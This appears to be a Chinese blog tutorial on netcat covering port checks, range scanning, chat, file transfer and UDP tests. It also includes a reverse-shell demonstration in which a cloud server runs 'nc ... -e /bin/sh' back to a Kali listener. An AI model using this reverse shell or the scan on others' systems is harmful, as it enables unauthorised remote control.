Netcat号称TCP/IP的瑞士军刀,并非浪得虚名。因其以体积小(可执行 200KB)功能灵活而著名。在各大发行版中都默认安装,你可以用它来做很多网络相关的工作,熟练使用它可以不依靠其他工具做一些很有用的事情。

假设你在服务器 A主机(192.168.123.2) 上面 8080 端口启动了一个服务,但是发现 B 主机无法访问,你先跑到 A 主机上用 netstat -an 看了一下,服务启动成功了,那么到底是服务错误还是网络无法到达呢?我们当然可以在 B 主机上用 telnet 探测一下:
telnet 192.168.123.2 8080
但 telnet 还需要额外安装,而 netcat 基本自带,所以我们在 B 主机上:
nc -vz 192.168.123.2 8080
v 的意思是显示多点信息(verbose)
z 的意思是不发送数据。
如果 B主机连不上 A 主机的 8080 端口,此时你就该检查网络和安全设置了,如果连的上那么再去查服务日志去。
nc 命令后面的 8080 可以写成一个范围进行扫描:
nc -v -v -w3 -z 192.168.123.2 8080-8083
两次 -v 是让它报告更详细的内容
-w3 是设置扫描超时时间为 3 秒。

如何利用nc实现两台电脑或者多台之间,传输文件或者会话呢?首先我们在A主机上面监听端口。
nc -l -p 8080
这样就监听了 8080 端口,然后在 B 主机上连接过去:
nc 192.168.123.2 8080
这样两边就可以会话了,随便输入点什么按回车,另外一边应该会显示出来,
结束时按CTRL+C 结束,不管是服务端还是客户端只要任意一边断开了,另一端也就结束了。
服务器端(接收端)
nc -l 5555 > bbskali.txt
发送端
nc 192.168.123.2 5555 < send.txt
在kali中监听 5555 端口
nc -lvp 5555
在百度云服务器中执行
nc 192.168.123.33 5555 -e /bin/sh
需要注意的是,因为服务器和kali不在同一网段。我在实际操作中用的是映射后的IP和端口。如果你的环境在同一网端,直接执行上面命令即可。

两台主机 UDP 数据发送不过去,问题在哪呢?在 A 主机上:
nc -u -l -p 8080
监听 udp 的8080 端口,然后B 主机上连上去:
nc -u 192.168.123.2 8080
看看一边输入消息另外一边能否收到,以此来对网络进行诊断。
netcat 以方便的命令行的操作方式,对 tcp/udp数据进行原始的:监听、连接、数据传输等工作。然后搭配管道,实现灵活多样的功能,或者进行各种网络测试。上面几个例子,并不是说明netcat 仅限于此,在工作中还有很多实用的功能,尽情的去发挥吧。
更多精彩文章 关注我们